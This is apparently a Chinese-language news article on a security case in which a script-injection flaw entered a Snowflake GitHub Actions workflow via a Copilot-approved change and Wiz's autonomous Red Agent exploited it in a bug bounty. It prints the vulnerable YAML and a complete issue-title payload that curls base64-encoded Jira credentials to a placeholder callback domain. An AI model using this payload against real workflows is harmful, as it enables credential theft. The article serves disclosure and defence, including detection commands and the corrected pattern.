GitHub Copilot Autofix 在 Snowflake 项目中引入了 script injection 漏洞,五天后被 Wiz Red Agent 自动发现、利用并窃取内部 Jira token。
2026 年 6 月 18 日,一份部分由 Copilot Autofix 签署的 commit,将 Snowflake 一个 workflow 中原本安全的解析逻辑替换成了一行代码——只要在 GitHub 上打开一个 issue,就能执行任意命令。五天后,Wiz 的 Red Agent(一款由 AI 驱动的自主研究工具)发现了这个漏洞,在遇到语法错误后自行修正了 payload,并在几秒内完成了一次内部 Jira token 的外泄。
这一案例由 Wiz Research 在 Snowflake 的 HackerOne 漏洞赏金计划下记录,是目前公开的首批案例之一:在其中,一个 AI 自动修复工具引入了漏洞,而另一个 AI 以自主方式发现了它并加以利用。
Wiz Research 在 snowflakedb/snowflake-connector-net 仓库的 workflow 文件 jira_issue.yml 中发现了一个 script injection 漏洞。
github.event.pull_request.user.login 的安全 gate 在 issues 类型事件中始终评估为真。qa@snowflake.net 账户的 Jira token 中外泄了数据,该账户拥有访问工程项目和漏洞赏金计划的权限。Copilot Autofix 是 GitHub 的一项功能,会审查 pull requests 并建议或直接应用安全补丁。在本案例中,它作为一项变更的共同作者参与——而这项变更非但没有修复任何问题,反而为 Snowflake 一个公开仓库中的远程命令执行打开了大门。受影响的仓库 snowflakedb/snowflake-connector-net 是官方 .NET 连接器,成千上万的应用程序依赖它与 Snowflake 的数据仓库进行通信。
这一事件对 LATAM 任何使用 GitHub Actions 且配置了自动触发器(issues、pull requests、comments)的团队都有重要意义,因为它揭示了一种多年来已知的安全漏洞模式——workflow 中的模板注入——被一个本应防止此类错误发生的工具重新引入。Copilot Autofix 并非因为一个奇特的 bug 而失败:它失败于自己每天都在审计的同一种模式。
Wiz Research 使用 Red Agent 对整个 GitHub 上的组织进行扫描,寻找不安全的 workflows。在扫描 Snowflake 仓库期间,Wiz Research 标记了 jira_issue.yml 文件,因为它将不可信数据直接用在了 run: 块中,存在 script injection 风险。
该 workflow 以 issues: opened 事件触发,也就是说,任意拥有 GitHub 账户的人都可以在未向 Snowflake 进行身份验证的情况下激活它。Issue 的标题被直接插值到一个 shell 脚本中:
on:
issues:
types: [opened]
jobs:
notify-jira:
runs-on: ubuntu-latest
steps:
- name: Build Jira payload
run: |
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\\\'/g")
echo "title=$TITLE" >> "$GITHUB_OUTPUT"
问题出在操作的顺序上。GitHub 在 runner 执行脚本之前,就已将 ${{ github.event.issue.title }} 作为纯文本展开。那个试图转义引号的 sed 运行在后,而此时字符串已经被 echo '...' 弄坏了语法。如果 issue 的标题包含一个单引号,攻击者就能跳出该字符串,标题的其余部分会被解释为 shell 命令。
这个模式取代了同一文件中之前存在的更安全的做法——之前是通过环境变量传递标题,并用 jq --arg 构建 JSON。以下是两种方法的对比:
| 模式 | 出现位置 | 风险 | 安全替代方案 |
|---|---|---|---|
${{ github.event.issue.title }} 在 run 中直接插值 |
jira_issue.yml, PR #1218 | 任何转义处理之前就发生 shell 命令注入 | 通过 env: 传递值并作为环境变量读取 |
| 模板展开后再用 sed 转义 | Commit 4a1b8ce | 转义发生在 GitHub 已经展开字符串之后,而非之前 | 使用 jq --arg 安全构建 JSON |
if: github.event.pull_request.user.login != bot |
workflow 的安全 gate | pull_request 在 issues 类型事件中为 null,条件始终为真 | 验证 github.event.issue.user.login 或要求人工审查 |
⚠️ 注意:该 workflow 有一个看似能过滤机器人的条件,但 github.event.pull_request 在 issues 类型事件中始终为 null。该条件对任意用户都评估为真,永远成立。PR #1218 被标记为已审查,但未指出该不安全模式。
Copilot Autofix 是 GitHub 针对 Wiz 在本案例中所利用的同一问题给出的答案:生产环境中的大多数漏洞并非来自奇特的 bug,而是来自没人及时审查的已知模式。该功能分析 pull requests,检测有风险的代码,并建议或直接应用补丁。PR #1218(SNOW-2069227: Update jira workflows)中的 commit 4a1b8ce 记录了由 AI 驱动的 Copilot Autofix 作为共同作者参与了引入该 bug 的变更。
Wiz 于 2026 年 8 月 17 日 19:57 UTC 更新了原始文章,澄清了一个重要细节:Copilot 作为审查者对已合并的 PR 给予了批准,未标记该漏洞,但无法确认代码变更本身是否由 AI 辅助生成。这一区分很重要,因为它区分了两种不同的失败:谁写了这行不安全的代码,以及谁在审查时未能发现它。
该发现是在 Snowflake 在 HackerOne 上维护的负责任披露计划中进行的,这也是 Wiz 通常用于报告其进攻性研究结果的同一渠道。
Wiz 构建了一个特意设计的 issue 标题,用来跳出 echo 并通过带外回调(OAST)方式执行外泄命令。第一个尝试使用 # 字符来注释掉该行的其余部分,但这同时也消耗了 TITLE=$(...) 的右括号,runner 返回了 bash 语法错误。
Red Agent 没有在错误面前止步。它分析了错误信息,理解到自己需要在注入命令之前先关闭 subshell 块,并调整 payload 改用 ; echo ' 而不是注释:
' ; curl -s "https://CALLBACK_DOMAIN?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
这个标题一旦在原始的 echo '...' 中被插值,就会关闭该字符串,执行一条 curl 命令,将 token、邮箱和 Jira 基础 URL 的环境变量用 base64 编码后,作为查询字符串发送到研究人员控制的一个回调域名。Runner 以 Azure IP(20.106.182.197)在数秒内发出了请求。
💭 关键点:最相关的细节不是这个 bug 本身,而是这个自主智能体在第一次语法错误和第二次成功尝试之间,无需人工干预就调试并修正了自己的 exploit。
外泄的 token 以 qa@snowflake.net 身份对 Snowflake 的内部 Jira 实例 snowflakecomputing.atlassian.net 进行认证,拥有对工程、安全合规和漏洞赏金跟踪等项目的读取权限。
participant A as 攻击者
participant G as GitHub Actions
participant R as Runner
participant J as Jira
participant C as 回调服务器
A->>G: 用恶意标题打开一个 issue
G->>R: 触发 jira_issue.yml workflow
R->>R: 在 run 中未做净化即插值标题
R->>C: 通过 curl 外泄 Jira token
Note over R,C: 该 token 可对内部 Jira 进行读取访问
C-->>J: 该 token 可对 Jira 重复使用
Runner 在第二次尝试成功之前返回了语法错误。
导致 Snowflake 出问题的这个模式很容易在你自己的 workflow 历史中搜索。第一步,无需安装任何工具,直接对仓库中的 YAML 文件进行 grep:
grep -rn "github\.event\.issue\.title" .github/workflows/*.yml
如果该命令在 run: 块内(而非 env: 内)返回了结果,你就存在与 Snowflake 相同的问题。要进行更完整的检查,actionlint 是一个 GitHub Actions workflows 的静态 lint 工具,可以检测 ${{ }} 在 shell 脚本内不安全的插值,以及其他规则。
# macOS (Homebrew)
brew install actionlint
# Linux / macOS (Go toolchain)
go install github.com/rhysd/actionlint/cmd/actionlint@latest
# Windows (Scoop)
scoop install actionlint
# 验证安装
actionlint --version
要确认某个特定的 workflow 是否干净,运行 actionlint .github/workflows/jira_issue.yml,检查是否出现任何 shellcheck 警告或在 run 块内未加引号的表达式警告。同时建议查阅 GitHub Actions 官方安全加固指南,针对 issues、issue_comment 和 pull_request_target 等触发器进行审查,这些是最容易受到此类注入攻击的场景。
这一事件将此前分开讨论的两大趋势联系到了一起。一方面,旨在减轻安全审查负担的 AI 自动修复工具,如果没有人对最终 diff 进行人工审查,可能会引入它们本应预防的同一类错误。另一方面,像 Red Agent 这样的自主智能体表明,发现并利用此类漏洞已不再需要数天的手动作业:一旦识别出有漏洞的文件,从扫描到确认外泄的完整周期仅耗时数分钟。
Snowflake 在报告当天就做出了响应:撤销了不安全的模式,轮换了暴露的凭据,并通过审计日志确认 Wiz 是暴露窗口期间唯一访问该 token 的主体。Wiz 则确认已安全删除了在概念验证过程中访问的任何数据。
对于已将安全审查工作委托给 Copilot Autofix 或类似 AI 辅助工具的团队而言,这一案例留下了一个具体的教训:基础设施即代码的 pull request 上的自动批准,不能替代专门针对 run: 块内如何处理不可信输入的人工审查。
Wiz 确认将继续在 HackerOne 上 Snowflake 等负责任披露计划中运营 Red Agent,对其他组织应用同样的持续扫描方法。Snowflake 已在 PR #1402(合并于 2026 年 6 月 23 日)中恢复了使用 env: 和 jq --arg 的安全模式。
该案例也引发了整个行业更广泛的讨论:如果 AI 自动修复工具要对关键基础设施的 commit 进行共同署名,它们需要与人类 pull request 相同甚至更严格的审查级别——尤其是在定义自动触发器和 workflow 权限的文件中。
📖 Telegram 摘要:查看摘要
自己动手试试:在你自己的仓库中运行 grep -rn "github.event.issue.title" .github/workflows/*.yml,检查是否存在与导致 Snowflake 出事的相同模式。
Wiz 的 Red Agent 是什么?
它是 Wiz Research 使用的一款自主 AI 驱动的安全研究工具,用于扫描组织在 GitHub 上易受攻击的配置和 workflows,在本案例中也在负责任披露计划内将其作为概念验证进行利用。
Copilot Autofix 是什么?
它是 GitHub 的一项功能,分析 pull requests、检测有风险的代码模式并建议或应用自动补丁。在本案例中,它作为引入该不安全模式的 commit 的共同作者出现,不过 Wiz 后续澄清无法确认代码变更是否由 AI 辅助生成。
Snowflake 的数据是否被暴露给了第三方?
根据 Wiz 的说法,Snowflake 的审计日志确认在暴露窗口期间只有 Wiz 这一个主体访问了该 token,且在概念验证过程中访问的所有数据都已被安全删除。
如何检查我自己的 workflows 是否有同样的问题?
在 run: 块内搜索 ${{ github.event.* }} 的直接插值(用 grep),或对 .github/workflows 文件夹运行 actionlint 等 lint 工具。安全做法是通过 env: 传递值,并在脚本中作为环境变量使用。
GitHub Actions 中的 script injection 攻击是什么?
当外部用户可控的值(issue 标题、评论、分支名)在执行前被作为文本插值到 shell 脚本中时,攻击者就能注入任意命令,这些命令会以 runner 的权限运行。
Snowflake 是否已经修复了该漏洞?
是的。Snowflake 于 2026 年 6 月 23 日当天修补了该 workflow,使用 env: 和 jq --arg 恢复了安全模式,并轮换了暴露的 Jira 凭据。
📱 喜欢这个内容吗?加入我们的 Telegram 频道 @programacion,我们每日发布科技、AI 和开发领域最相关的内容。每天快速摘要,新鲜内容不断。